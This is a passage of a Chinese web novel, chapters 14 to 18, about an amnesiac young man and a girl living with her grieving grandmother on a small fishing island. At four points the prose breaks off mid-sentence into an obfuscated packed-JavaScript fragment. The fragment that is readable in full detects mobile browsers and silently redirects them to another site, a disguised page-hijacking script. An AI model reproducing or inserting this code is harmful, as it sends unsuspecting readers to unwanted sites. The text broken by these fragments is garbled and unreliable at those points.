怪不得他走路总会走神,说话很慢,脸上总是呈现出一种类似于孩童的困惑和茫然,更不要说会傻到给岛上每一只鸟雀都想取上名字。 珍珠又往床边挪了点:“其实也不算,你接触过他,你应该知道长风其实不笨,他就是和普通人有点不一样而已。” 只是他的心智永远保持在一个童真的世界里,所以才会偶尔表现出和年龄不符的傻气。 长风大部分的时候很安静,会坐在海岸边直直的望着一个地方发呆,他是平南来到蓝月岛后,第一个和他年纪相仿,又表示善意的同性。 现在想来或许长风之所以愚笨又真诚,正是因为未沾染世俗的清澈,他说话的声音很慢,要思考很久,有时候也会说一些莫名其妙的话,但这不妨碍平南在心里把他和蓝月岛的其他人人划出一条不清晰的线。 平南慢慢挥舞着蒲扇。 “我知道,长风只是和世俗眼里的正常人不一样。” “但这个世界本来就每个人都不同,他只是智商有所欠缺,又没有坏心思,”平南说:“虽然是笨了点,不过他可比那些乱丢垃圾的人有素质多了。” 他偏过头,对上珍珠那皎月似的眼光一顿,“你蹭我的风?” 说话真难听,这怎么能算蹭呢,平南手上的拿的蒲扇,身下睡的凉席枕头哪一样不是王家的,珍珠说:“没有,我只是刚好睡在了这里。” 是呢,只要一翻身就要滚下来的程度,没见过有人这么睡觉的,平南移开一大段距离背过身,“行,那你睡吧。” 房间里没了其他声响,只有他手上的蒲扇带起来的一点晃响,不知过了多久,也许只有半分钟,平南转过身来,突然看见珍珠不知何时从床上下来,闭着眼已经躺在他的旁边,纤长的羽睫还微微颤着,嘴唇死死抿紧,装出一副熟睡样。 珍珠被他盯着自己没忍住,睁开眼扒拉平南的手脖子往自己上空移,“别小气嘛,反正你都要扇,不要浪费。” 平南眼皮直跳,但终归是什么也没说,老实的扇着风。 珍珠睡的很快,两人挨的很近,平南能听到她清浅平缓的呼吸声,明明蒲扇没停过,却不知为何觉得比刚才热了很多。 平南盯着天花板上看了会,闭了闭眼,听见珍珠翻身的声音,再睁开时已经完全面朝了他这边。 平南睁着眼,屋子里并不暗,他适应了会儿,又看到珍珠眼皮上方的那一颗小痣,少女手掌微微蜷着放在饱满莹润的脸侧,漆黑的发丝散落在身下,有种天然的娇憨感。 自己倒是睡的舒坦,也不管摇扇子的人手有多累。 珍珠温热的身体与他之间不过半寸之间的距离,浴室里大家明明都是共用的一瓶沐浴露,清凉的薄荷味,为何到她这里就沾染上一丝甜腻。 不知珍珠梦见了什么,这时潜意识里鼓了一下腮帮子,平南鬼使神差的用食指轻轻点在了那里,脑海里突然闪过一帧熟悉的画面,快到他要抓不住。 15. 第十五章 平南狐疑地又轻戳了一下,珍珠像再也支撑不住似的,头一歪睡的更沉,压住了他的手指。 软润的下唇贴合在他的指腹上,温热的鼻息顺着掌心,沿着脉搏,好似要钻进他的心里。 平南的呼吸一凛,脑海的那一帧记忆终究是没有抓住,不过片刻,珍珠似乎是觉得这方压着的掌心太热,蹭着脸就要挪开。 平南旋即反应过来,拿着蒲扇的手疯狂冲着她扇风。 于是珍珠眉头渐渐舒展,没有再动了。 珍珠一觉睡到了天亮,早晨气温稍低,天气也不似昨晚那般湿热,她睁开眼,侧对上平南困倦的睡脸,眼下是没休息好的乌青,一阵凉风袭来,珍珠发现他右手竟然还无意识的有一下没一下的对她扇着风。 这人竟然给她扇了一整夜。 珍珠从他手中拿走蒲扇,听着他的呼吸逐渐均匀,她举着蒲扇看了几眼,侧过身视线又移回平南的脸上。 平南并不知道,其实他是珍珠失忆后见到的第一个岛外人。 珍珠醒来后很长一段时间都是精神迷惘的状态,空白的记忆,生病的王淑华,对船莫名的惧怕以及蓝月岛所有人都把她当作珍珠的疑惑,待久了,有时候自己都快分不清楚,那日醒来后大家眼里的好奇是错觉还是真实发生过。 所有的一切都让她有种不真实的虚无感,就好像在做一个清醒梦,你明知道这一切都是假的,可以你打不破也醒不来,慢慢剩下的只有自我怀疑。 她也许真的是那个珍珠,是王淑华的孙女。 如若不是,那她该是谁?她应该去哪? 平南于她而言,就像是这个清醒梦中的另一个自己,虽然他挑剔毛病多,学不会人在屋檐下不得不低头,但珍珠已经在这个不真切的梦里孤独的太久,平南的鲜活偶尔会让她从那种虚无里抽离。 平南的小臂疼了两日才好,幸亏白天正如珍珠所说来了电,才没让他有机会继续拿着大蒲扇摇。 距离上次的发薪日才过了一半,珍珠数着日子,把饮品日期对了一遍,又去对营业额的账本,一摸小布包才发现平时记账的小本落在了家里。 恰巧二妞挖完海蛎回来在她这处休息,一听也不是什么大事,随意笑道:“反正我待会儿也路过你家,让你家那个送过来不就行了。” 珍珠自然知道她说的是谁,平南没有名字之前岛上的人都是这样说去代替他的名字,只是不知道为什么这话从二妞嘴里说出来就变了味。 珍珠正色道:“他不是我家的。” 二妞没在意,笑开了:“怎么,你又不想要了,不是一开始还特意叫我去看他。” 想当初她还告诉过珍珠这人不行,结果没几天竟然直接把人捡了回去,平南还失忆了。 珍珠沉默须臾,抬眼望着远处平静的海面轻声说:“阿财叔他们快回来了。” 距离第一批出海捕捞的渔船已经过去十余天,不出三五日估计就会回到蓝月岛,平南有了船就能回到自己的家,算什么她家的。 一个人的时候珍珠也会想,还好平南很快就会走,人养成习惯是一件很可怕的事,有时候只需要短短的二十一天,她很庆幸平南不会在她身边待那么久。 平南不会是平南,但珍珠在之前还得做蓝月岛的珍珠。 春山跟着父亲也是第一批出海的人,二妞心里自然是盼着的,偏过头也朝海的另一边看去,想起什么,羞红了脸悄声说:“你说,我等祭海节那天跟春山告白怎么样?” 祭海节是这附近海域的一种特殊民俗活动,一般在中秋前后,大家会汇聚在娘娘庙前一起祈求安康、风调雨顺、鱼虾满仓,蓝月岛也有自己的祭海仪式,是对神明和海洋的敬畏和感恩。 春山和二妞从小在蓝月岛长大,青梅竹马,只是一直没人主动戳破那层关系纸。 二妞说完才想起,“忘了,你都不记得了。” 就像所有人都默认平南是她的,失忆待在这里更久的珍珠已经变成了大家眼里真的珍珠,要后知后觉才会想起,珍珠其实和平南一样,都不是蓝月岛的人。 珍珠说:“那我需要做什么吗?” 二妞:“不用,往年里那些东西都是剩下的,而且到时候好多人都会回来,有的是出力气的人。” 祭海节是蓝月岛除了春节外最重要的节日,二妞不免多说了几句,“其实小时候才热闹呢,跟过年似的,那个时候岛上人还很多,晚上挂满了红灯笼,会亮一整晚,春山哥说那天应该改名叫红月岛。” 提起心上人,二妞嘴角笑变得羞怯,不吝于分享他的高光时刻。 “春山哥还会舞龙呢,你没见过吧,他从小就力气大,每次排练的时候他都是龙首,可威风了,小北哥都只能站在他后面。” 二妞说着有些担忧:“也不知道小北哥今年有没有时间回来,听说大城市里上班不好请假,他那又是家大公司,估计会更麻烦,他应该会回吧,毕竟阿财叔最在意这些,而且到时候舞龙的人不够怎么办……” 珍珠望着海面有些心不在焉,等到祭海节,那个时候平南估计早在外面想起自己是谁了吧。 二妞絮絮叨叨的说完,看她眼皮半耷拉着没什么精神的模样,弯腰把手边的水桶提起,抬头正好看见招牌上的三个字,摆摆手说:“算了,我先回去了,也不知道阿财叔在这里开个冷饮店做什么,一下午人影都没见着一个。” …… 平南刚从岛长那里回来就被王淑华指派去给珍珠送东西。 他揣着硬币先去的珍珠房间,两个房间格局差不多,只是珍珠的房间更显空旷,不管是床还是书桌都比他那里的矮一些小一些,就像给小朋友用的一样。 平南把这一切归结于是江家太穷了,所以这么多年都舍不得换新的。 本子就在桌子上,他拿完回房间放硬币,经过这些天的努力,玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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碍于刚刚有失体面,尽管失忆,平南从很多方面来说也想在珍珠面前表现出自己作为男人的合格,死扣不好解,但他有的是力气,于是那个在珍珠手上难以解开的结,在平南的手下也不过就是半分钟的事情。 整条树枝没了牵引力,往上弹了弹。 珍珠条件反射性的缩了下身子偏过头,结果嘴唇正好蹭在和她同样反应的平南脸上。 霎时间,绳子掉到了地上,没人去捡。 平南不由睁大了眼,嘴里那些想夸耀自己实力的话也忘了,其实不止这些,哪怕是这天晚上回忆起来,脑袋里也依旧是空白的。 他反应十分剧烈地后退一步,后背抵在树枝上,一手捂在珍珠刚刚蹭过的脸颊,配上那幅欲言又止但更多可能是被震惊到神情,就好像珍珠对他做了什么罪大恶极的事情。 相比之下,珍珠反而镇定的多,身子立马回正从凳子上下来,保证了自己的安全。 平南的脸红的太过诡异,她不由向前了一步,态度算得上诚恳。 “不小心亲到你了,不好意思。” 16. 第十六章 平南退的更后了,但他也退无可退,那根树枝已经到极限,死死抵住他的后背。 珍珠不知道他犯了什么毛病,不过就是不小心亲了一下而已,又不会少块肉,再这样耗下去她又要加班,还是没工资的那种。 平南还没从她随意的解释里反应过来,就看到珍珠已经跟个没事人似的走到一旁收伞,他莫名涌上一股恼怒:“你知道你刚刚亲了我?” 珍珠一边收绳子一边说:“知道啊,我不是已经跟你道歉了。” 平南:“可是我还没说原谅你。” 珍珠眼皮都没抬:“我又不需要你的原谅。” 平南真是不知道她怎么能说出如此冷漠的话,既然不需要原谅,那为什么又要道歉,难道只是走个过场。 珍珠收好绳子放在置物架上,看他一脸委屈巴巴的模样有点烦闷,“好了,就亲一口,有什么关系,我又不是故意的。” “可是...” “没有什么可是,”珍珠打断他,不理解为什么要这种事情上一直纠结,“只是亲一下而已,难道你就没有亲过别人?” 她是不相信的,平南不符合二妞的喜好,但蓝月岛群众的眼光是雪亮的,谁人不说她捡了个年轻俊俏的男人。 也许平南早在岛外的时候亲过别人,还不止一个,难道自己亲一下都不行吗。 平南被她的逻辑绕住,可他的记忆关于那些记忆是空白的,一时竟找不出话来反驳,“你...你...” “你什么你。” 珍珠伞也不想收了,不乐地走到平南面前,把他抚在脸上的右手扯下一把压在他的心口上,“是不是我救的你?” 平南摸着自己良心:“……” 珍珠盯着他不疾不徐地接着说:“让你住我家,没收你一分钱,还给你介绍工作。” “就算我今天是故意的,难道我做这么多都不能亲你一下?” 平南被她一连串的反问打的措手不及,在他的眼里,珍珠是有些生气的,好像她总是包容了他许多,而平南自始至终是个不懂得感恩的人。 以至于他根本没想过,其实捡塑料瓶这种事情压根算不得什么工作,可是珍珠其他地方又没有说错。 平南也很烦躁,为什么珍珠就能在这种事情上表现的如此无所谓,表现的像个惯犯一样轻飘飘的就掩了过去。 他脸上先一阵青一阵白,最后像是一咬牙一跺脚,下定某种决心一样对珍珠说:“那你亲吧。” 珍珠闻言,神色滞了一瞬:“...下...下次吧,今天亲过了。” 下次,下次是多久,平南气的胸口都剧烈起伏了好几下,没想到自己好不容易才接受了这种事情,却得到这样一个含糊的答复。 珍珠这时已经准备开始自己的收尾工作,她用力压了一下平南的手背,希望他的心跳慢一点,不要影响自己的发挥,“好了,你说你不生气。” 平南低声‘哦’了一声。 “说。” “我不生气了。” 珍珠满意的松开手,象征性抚慰的拍了拍他的肩,“放心,我会对你好的。” 平南有些气不顺:“你每次都这么说。” 珍珠没理会他的囔囔,反正都已经说过不生气了,招招手指挥道:“别看了,过来收伞。” 平南不情不愿地走过去,他哪收过那么大的伞,差点把手夹到,这让他本就郁闷的心更加不舒坦,晚上连王淑华都看了出来。 趁着端菜的空档王淑华问道:“他又怎么了?” 珍珠一脸茫然:“不知道,可能收伞的时候把手夹到了吧。” “这点事都做不好。”王淑华哼了一声。 -- 平南凭借着年轻力壮,在礁石滩难逢对手,捡起垃圾来那叫一个得心应手,那些阿婆远远跟不上他的速度,礁石滩乱石横生,巨石之间都隔着距离,他身高腿长占了很大优势。 距今为止,他的玻璃罐已经装了一半硬币,海洋有源源不断的鱼虾,也有源源不断的垃圾,算是另一种每天都有新的收获。 这天,他好不容易从石缝里把那截泡沫板捡出来,突然在海面上看到一艘砥砺前行的渔船,远远的好像还能听到那边似乎有人在大喊些什么,随后,最接近海边那块礁石上的阿婆放下手中的东西也朝那边看去。 另一个阿婆说道:“那是春山他们家的船吧。” “好像是。” “这么快就回来了,看来今年收成不错,也不知道能卖多少钱。” “外面那些人不压价就不错了。”阿婆叹了一口气,又继续弯腰捡起了垃圾。 平南脸上的笑容瞬间垮了下去,什么叫他们要回来,谁要回来,他不是应该在这里待到冬天吗? 捡瓶子的兴致的也没有了,他收拾好从岛长手上领过两枚五毛的硬币。 岛长上了年纪喜欢好为人师,见他很没有朝气的样子便想说两句激励的话,什么类似于海岛一家人,卫生靠大家,海岛好,大家都好,年轻人是祖国建设的摇篮…… 他想拔点高度,为这位看上很迷惑的年轻人指点迷津,腹稿正要脱口而出,气势都架上了,二妞突然从远处气喘吁吁跑过来,“李...李...李叔...” “淑华奶奶又不见了。” 天边不知何时飘来了一团阴云,刚刚还平静的地面陡然刮起一阵冷风。 王淑华又发病了,蓝月岛的每一个人都能看出来她最近发病的越来越频繁,起初珍珠刚到岛上的那段时间,王淑华平息过一阵,大家都以为心病纾解了,病自然就会慢慢好。 可是临近夏末,蓝月岛受台风的影响天气不再似往年那般稳定,大家才终于明白,王淑华是过不去这道坎的,哪怕有了一个珍珠也没用。 二妞去王淑华那里摘蔬菜,结果发现门不仅是大开着,人也不见了。 平南还没明白发生了什么事,岛长就已经急急忙忙的往广播站跑,让二妞快点去找。 二妞跑了一路还在大喘气,看平南傻站着,催促道:“还愣着干吗,快去啊。” 平南和王淑华接触的并不多,绝大多数时候,他很畏惧王淑华,王淑华面善的很表面,长着一张慈祥的脸对他却只有冷嘲热讽,是一个很有态度的冷脸老太太。 说是没有打击是不可能的,尽管平南在心里告诉自己他也不喜欢王淑华,但趋利避害是人的天性,平南住在王家的屋檐下,面对这个家里最有权威的人,如若能和平相处,对他而言有利无弊,至少在这里待着的这一段时间会舒坦点。 而且她还是王珍珠的奶奶,平南对王家的事可以算得上是全然不知,没人和他说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王淑华固执地摇摇头,望着黑浸浸的海面说:“你阿爸还没回来,我还要在这里等他,玉兰呢,玉兰去哪了,你怎么就把这衣服穿上了。” 王淑华枯槁的手抚过他蹭脏的袖口,“你这孩子,别人玉兰特意给你挑的,你也不好好珍惜,这么快就弄脏了。” 平南不知道她说的谁,只能哽着嗓子哄道:“在家里呢,他们都等着你回去。” “在家好,这种天气不能出船,你阿爸总是不听。”王淑华拍了拍他手温和地叮嘱:“你不要学你阿爸,玉兰和珍珠她们会担心的。” 王淑华突然笑了一下,陷入某种回忆里,“珍珠现在可乖了,我让她不要去海边玩她就会乖乖待在家里,她昨天还念了一首古诗给我听,等到了秋天她就可以跟小北他们一起去上学了。” 平南说:“好,她那么聪明肯定不用你担心。” 王淑华笑着又哭了起来,往心口懊悔地钝捶,撕心裂肺地哭喊:“都怪我不好,是我不好,是我没有看好她,平崽你是不是怪我,才一直都不肯来看我,玉兰也不肯来看我,你阿爸也不肯来看我,你们都怪我,你们都怪我。” “平崽,妈错了,妈知道错了,你能不能来看看我,我已经把珍珠找回来了,妈错了。” 王淑华又说许多前言不搭后语的话,抓着平南好像有诉不完的忏悔,呼啸回旋的风声刮得平南耳膜发震,一束手电筒的光猝然照到了他的身上。 “快来,淑华婶子和平南在这里。” 17. 第十七章 “也是可怜。” “谁说不是,王婶子这病都十多年了吧,一天比一天严重,我估计——” “小声点,别让珍珠听见了。” “嗳,你说谁架得住这样每次都来一遭,她比我这风湿还来得准一些,一到这种天气就往外跑。” “算了,算了,也是可怜,你说这家都没人了,还能怎么办。” 说话的几人纷纷长叹了一口气,最先说话那人又道:“我怎么记得王叔他们好像不是...” 另一人杵了杵她的胳膊,压低了声音道:“别说了,你还看不出啊,已经精神都错乱了。” “不过那事放在谁身上都接受不了,你说好好的人就都不见了,一家子连个...” 大家又是默契的发出惋叹,平南静坐在灶膛前将这些话尽收耳底,却始终猜不到那个故事的全貌。 灶膛里突地发出一声柴火爆破的声音,随后有人走了进来,他抬头,灶屋里温暖干燥,隔绝了屋外凝重的水汽,可四目相对那一瞬间,平南却突然感受到前所未有的凛冽。 珍珠端着一个花底的搪瓷脸盆,里面的双喜剥落了一小块,露出铁灰的黑底,再精美的外观也掩盖不了灰败的事实。 平南无措的移开眼,没有说话。 灶上铝壶的尖嘴已经冒出缭缭水汽,珍珠把盆放下准备去提,平南道:“我来吧。” 珍珠没有什么表情地道了句谢,随后端着盆离开了厨房。 直至雨停,王淑华才安歇睡了过去,众人纷纷离开。 珍珠回到厨房做了两份清汤面,说:“将就着吃吧,我也不太会做那些麻烦的菜。” 平南挑着清汤寡水的面条,突然没头没脑地说了句对不起。 珍珠扯着嘴唇勉强地笑了下,“为什么要说对不起?我还没感谢你呢,谢谢你帮我找到奶奶。” 为什么要说?大概是在今天以前平南都觉得珍珠是在一个正常家庭下成长的小孩,有一个很疼她的奶奶,父母像蓝月岛所有的渔民一样在出海的渔船上,然后像长风的父亲一样在冬天的某一刻踏入家门,团团圆圆。 脾气偶尔不好的王珍珠应该要在这种环境下长大,才会很有闲心的想要去拯救一个失忆在家门口的可怜人。 所以会包容他的缺点、他的挑剔,在适当的时候还会给予安慰,永远看破不说破。 平南在总是抱怨蓝月岛生活的时候,在对那些衣食住行不满的时候,从来没有想过她其实已经在这样的生活里过了许多年。 与其说是道歉,不如说是一种内疚,就像你明明三餐果腹,却还要一直对一个饥肠辘辘的人吐诉自己有多么不容易。 “你在可怜我?”珍珠不确定地说。 平南垂眸道:“没有。” 还说没有,珍珠都懒得拆穿他:“没有最好,收起你那莫名其妙的同情心,我没你想的那么惨。” 她始终是对自己的身份是持疑的,而且这样的事情也发生过太多次,从一开始的不适应到被动接收了很多和“珍珠”有关的信息,她也不知道到底该用什么样的态度去面对这种事情。 但这不代表平南可以同情她。 两碗清汤面,大家都吃的寡淡无味,介于今天发生的事,平南自觉的接过她的碗拿到水池下。 珍珠一愣,靠在墙边也没阻止,只暗暗威胁道:“抓紧了,你可别给我上演什么砸碗的戏码,摔坏了我都让你赔。” 平南:“……” 平南对过去的自己毫无印象,但也能从那双白皙修长的手看的出来他以前确实没干过什么活,不过洗碗这种事他觉得自己应该还是会的,毕竟之前见王淑华洗过。 珍珠好笑的看他挤了五六下洗洁精,把碗摁在池子底下用力的拿丝瓜瓤擦来擦去,生怕自己摔坏了碗要赔,忍不住问道:“你今天到底听到什么了?” 平南声音闷闷的:“……都听到了。” 珍珠看出来他这两个碗能洗半个小时,抓过旁边的椅子坐下,好整以暇道:“说说。” “也没说什么,就是...”平南纠结了片刻,还是全部说了出来,包括今天王淑华在海边跟他说的话,毕竟他听的云里雾里的,那些人聊八卦都讲不明白,说一半留一半,一点道德心都没有。 珍珠听完感觉跟自己以前听的版本也没什么区别,只是没想到自己给平南取名竟这样凑巧,和自己名义上的父亲用了同一个平字。 王淑华不爱跟她说那些关于过去的事情,很多东西珍珠也都是听二妞说的,可二妞都是用王叔王姨这类的尊称去替代,导致珍珠一直不知道他们叫什么。 关于衣服她就更不知道了,家里根本就没钱给平南买什么新衣服,她问过王淑华的意见,王淑华那时只是沉默了片刻,说穿右边柜子里的吧,那些都没怎么穿过,好多还是新的,你爸他总是舍不得。 “其实是晴天。”珍珠突然开口道。 “?” 珍珠垂下眼眸,平静道:“他们是在一个晴天失踪的,大家都说是遇上了暗流,奶奶一直接受不了。” 人好端端的怎么就消失了,一点痕迹也没有,王淑华在经历孙女失踪后又独自面对这样的噩耗,打击无疑过于沉重,起初她还抱着一点希望,天天坐在渡口等,结果有一天在看到那膄简陋的木船后突然就生病了,然后再也没有好起来。 王淑华像枯槁的老树,行尸走肉,岛上的人想给他们立个衣冠冢也不肯,后来大家也就不再强求。 蓝月岛的人也记不清是从哪一天开始的,总之在一场晦暗的疾雨过后,王淑华开始接受这个事实,同时修改了自己的记忆。 在王淑华的臆想里,丈夫一行人是在一个极端天气里发生了意外,也许这样才能接受那个残酷的事实。 蓝月岛的人依靠着这片海编织自己的幸福梦,在咸涩的海风里洗礼自己的人生,用简陋的设备对抗着汪洋里的巨浪,一代一代传承延绵。 神秘又浪漫的蓝海总是无私又无情。 或许在那些无数等待的光阴里,王淑华的灵魂早被大海吞噬,随着丈夫和孩子一起远去。 平南扣着那个早就干净的碗来回蹭洗,像是心里也有一块被洇色的角落,他又想起了长风说的话,看着手里的碗低声说:“你有想去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自己都说了会开一艘很豪华的大船来接她,她竟然还生气,不是总说要对自己好吗?为什么每次都表现的好像只是说说而已。 不知道过了多久,闷着一团气的平南终于躺在床上睡了过去。 他来蓝月岛后总是多梦,以往都是断断续续的,醒来后就没有半点印象,也看不清梦里的人脸,可是今晚他突然看清了。 梦里他在渡口,是春意盎然的时节,暖风和煦。 珍珠坐在渡口的木架上,他站在宽敞的甲板上抬着下巴对着她说:“你看吧,我就说我有邮轮。” 珍珠紧皱着眉头,语气冷冷的,“可是蓝月岛的渡口是停不了邮轮的,这里的水位线根本没有办法吞吐,你在做梦吧。” 平南被纠正很不高兴,冷哼一声:“我不管,反正我已经开来了,你跟不跟我走。” “不要,你的船已经搁浅了,走不了的。” 平南决定再给她一次机会,右手一挥,舷梯搭在了木架上,“快点上来,我现在就要带你走。” 珍珠不为所动。 平南从一只兜里也把手掏了出来,气鼓鼓地冲下去就拽着她上船,结果怎么都扯不动。 他猛然发现,珍珠的心是一块很大的铁石,就和那个搪瓷盆里剥落的那块一样灰暗。 她果然是个铁石心肠的女人。 这时,珍珠像是听到了他的心声,一把把他扯了过来,冷酷无情地说:“你知道我铁石心肠还想带我走,你是不是喜欢我?” 她大吼道:“说。” 18. 第十八章 珍珠的视线冰冷具有逼迫性,两人离的太近,平南有种欲盖弥彰的仓皇,语速吞吞吐吐:“我...我...” 下一瞬,他突然落入了无底的深海。 珍珠站在岸上居高临下的看着他,像在看一只不知死活的臭虫,厌恶至极,可她的表情又是温顺的,露着怜悯,平南挣扎着朝她伸出手,珍珠视若无睹。 “王珍珠。” 平南吞咽下一口咸涩的海水,视线所及全是绵密的蓝色水泡,珍珠变得原来越模糊,却也越来越熟悉,平南不知道这种莫名的熟悉感从何而来,拼命睁大眼睛朝上游,海水蓝光幽暗,他挣扎了许久,发现无论再怎么努力也始终触碰不到岸上的阳光。 平南耗尽力气最后朝岸上看了一眼,看到了那个熟悉又陌生的‘珍珠’,她没有绑起那两根标志性的粗黑长辫,而是散开柔顺的放在身侧,但也只是这转瞬的一眼,平南就已经又坠进了深海里。 珍珠对他的垂死挣扎置若罔闻,径直转身离去。 平南越来越模糊,虚握的掌心仍朝着她的方向,有一个名字好像就在他的嘴边,可是却怎么也叫不出来,视线一片黑暗。 …… 清晨六点过五分。 平南从睡梦中陡然惊醒,胸口剧烈起伏不定,他伸手擦了擦额头的冷汗,对那个梦仍有余悸。 怎么会做这么奇怪的梦,平南翻了个身,窗外透进来的光亮让他稍稍心安,又努力深呼了一口气平复自己的慌张,心道还真是看不出,王珍珠在他梦里竟然有两副面孔。 复闭上眼,楼下突然传来一点响动,接着是王淑华咳嗽的声音,而后是推门声。 王淑华的作息一直很规律,雷打不动的午睡,雷打不动的早起,雷打不动的按时放出那些聒噪的咯咯哒。 短短一夜,王淑华恢复如常,一如既往的举措很难看出来还是昨天那个站在海边绝望痛苦的老人。 平南烦闷地睁开眼,望着斑驳掉落的天花板许久,对楼下那些嘈杂的声音忍耐到了极点,他气势汹汹地推开门,看见王淑华正在院子里的水龙头下接水,又开始准备浇菜园子。 …… 平南没想到王淑华的两个水桶竟会这样重,他也很烦,只要一看到王淑华就会想起海边那个瘦小单薄的佝偻身影,还有那片犹如沁入墨色的翻涌海域。 王淑华可能还有什么要赶在日出前要把所有事做完才能踏实的怪毛病,才刚放下水桶,王淑华叫住他:“走哪去?这里还有一个瓢,你拿着。” 平南揉着胳膊的手顿住了:“?” 菜地里,母鸡乱窜,有一只还故意从他的脚上跳了过去,但毕竟王淑华是长辈,昨天他还亲眼见证了王淑华发病的样子,平南眉头紧蹙,不情愿的接过那个红色水瓢。 浇水是一件比捡瓶子还要复杂的事,这是平南今早的最大感悟,他对自己突如其来的心软又是一阵后悔。 “浇那么多,菜都要淹死了。” “放低点...不是让你浇到叶子上,土里土里,挨着浇也不会?” 阳光寂寥寥地洒满大地,远处悻悻然的少年在王淑华不断教育的下终于完美掌握了这项单调又机械的浇水工作,珍珠在楼上静静的看了好一会,竟觉得这种场景很温情。 渔船要回来最高兴的当属二妞,冷饮店离渡口近,坐在那里刚好可以看到返航的渔船,平时一早上都恨不得泡在滩涂赶海的年轻女孩,此刻按捺不住心事地坐在珍珠面前和她描绘自己的未来图景。 “我上次跟他们一起去市场卖海鲜的时候,听说现在外面都流行什么旅行结婚。”二妞双手撑着下巴,对未来有无限美好的幻想,“我觉得蛮好的,简单还不麻烦,最重要的是——” 她脸上泛出羞怯的红晕,“只有我和春山哥两个人。” 二妞对自己的婚姻生活规划很清晰,虽然和春山连那层窗户纸都没有捅破,但是二妞已经想好了,她决定生两个孩子,一个男孩一个女孩。 她说:“男孩要是哥哥,最好比妹妹大个三岁,这样就可以保护她。” 在海岛单纯长大的女孩心思坦率,但也深受传统男耕女织的小农经济影响,在尚不完全了解爱情的年纪,就已经将一腔真心孤勇托付在一个男人身上。 二妞含羞带怯地问:“那你呢?” 珍珠波澜不惊道:“随便吧。” 二妞惊道:“这怎么能随便呢,我阿妈说这是女孩子人生最重要的事,要仔细考虑清楚才行,你肯定要找到一个真心的人才能结婚。” 珍珠不解:“真心这种东西怎么可能看得见。” 看不见的东西为什么要相信。 二妞乌黑的眼珠转了一圈,对爱情有深刻的见解:“他爱你,你就会知道。” “就像我和春山,虽然他什么都不说,可是我就是知道他喜欢我。” 珍珠有点茫然,对情爱没有她那样的感悟:“为什么?” 她这个年纪并非对爱情完全不懂,醒来后也曾收到像曲盛那样自以为已经付出全部的示好,只是珍珠那时心理排斥居多,本质上还是个新手。 珍珠也不知道是自己从前就如此,还是失忆后导致的情感障碍让进度条归零,她似乎对这种感情并不热忱,相反地,她总觉得别人喜欢自己是一件很麻烦的事情,如果实在到了那一天,最好是两个人互不相干的过日子,谁也不要对谁抱有希望。 二妞就等着她这样问,眉飞色舞地撒起狗粮:“因为春山哥总会把他认为最好的东西都给我,岛上最圆的椰子,出海最肥美的鱼,最鲜活的虾蟹……” 他认为最好的东西? 珍珠略微思索了须臾,不愿意扫二妞的兴,也许那些肥美的鱼,鲜活的鱼虾确实是二妞所喜爱的,但珍珠却在这句话里有些没来由的恐惧,不知是曲盛那时送了太多他以为好的、而她不需要的东西,给她造成了不小的困扰,还是她失忆前其实也碰见过类似这样的事。 总之珍珠没有在这个二妞极力推销的点上产生共鸣,比起他认为最好的东西,珍珠更希望那个人能够发现自己需要的东西。 二妞离开时双手托腮,望着大海满怀期望地说:“真希望春山哥明天就可以回来。” 平南该走了,珍珠望着平阔的海面脑子里只有这一个想法。 -- 浇水这种小事情自然无法给平南带来什么成就感,只感觉自己累的肩膀都要垮了,去礁石滩捡瓶子的力气都没有。 平南觉得王淑华可能根本就不记得昨天发生的事情,要不然怎么会做出让救命恩人去鸡窝里帮她掏鸡蛋这种蠢事。 他,掏鸡蛋? 不管从哪个层面去考虑这件事的可行性,平南都觉得王淑华的思路匪夷所思。 王淑华视而不见:“还不去,不拿吃什么,一天天的。” 话语戛然而止,王淑华像是什么都没说,又像是什么都说了,平南气不过地走到鸡窝前,闻着那股味手都快掐烂了,最后皱着脸两眼一闭手伸了进去。 被鸡啄了一口。 珍珠看着举着一根手指气鼓鼓来告状的平南,差点没笑出声来。 “王珍珠。”平南怒不可遏道。 珍珠拧紧嘴,闷声说:“我不笑了。” 平南举着受伤的手指头急得不行:“医院在哪?你快带我去打狂犬疫苗。” “哪有那么严重,只是被啄了一下而已。” “哪里不严重,皮都破了。”平南把手指忿忿的伸过去。 珍珠抓住他的手放在水龙头下面细细冲洗,清凉的自来水在两人手中飞速流逝,有几滴溅到了水池外,她又打了一圈肥皂,轻轻揉搓。 伤口并不严重,就破了一小块皮,只是平南的皮肤太白,身上但凡有个红点总是会显得格外惹眼。 手腕上,胳膊内侧,脖颈,珍珠都看到了被蚊虫叮咬过的痕迹,还有肩膀衣领处漏出来的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738071|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道红痕,应该是今早挑水压的。 也许平南说的是真的,他这样一副娇生惯养的少爷身子,留在蓝月岛也是吃苦,倘若有天他的家人找到他,看到他如今这样该有多么心疼。 平南今日穿的是自己的衣服,黑色的短袖衬衫,珍珠想起第一次在蓝月岛见到他的时候,他穿的好像也是这件,那时隔的远,她也没看出什么区别,只觉得这个人在门口鬼鬼祟祟的,看着不像是个好人,还以为平南是个喝不起饮料的穷小子。 但她看过衣柜里的那些衣服,那些王淑华说她父亲舍不得穿的衣服,没有一件比的上平南自己的衣服。 纵使珍珠再没有见过外面的世面,还不至于愚钝到如此地步。 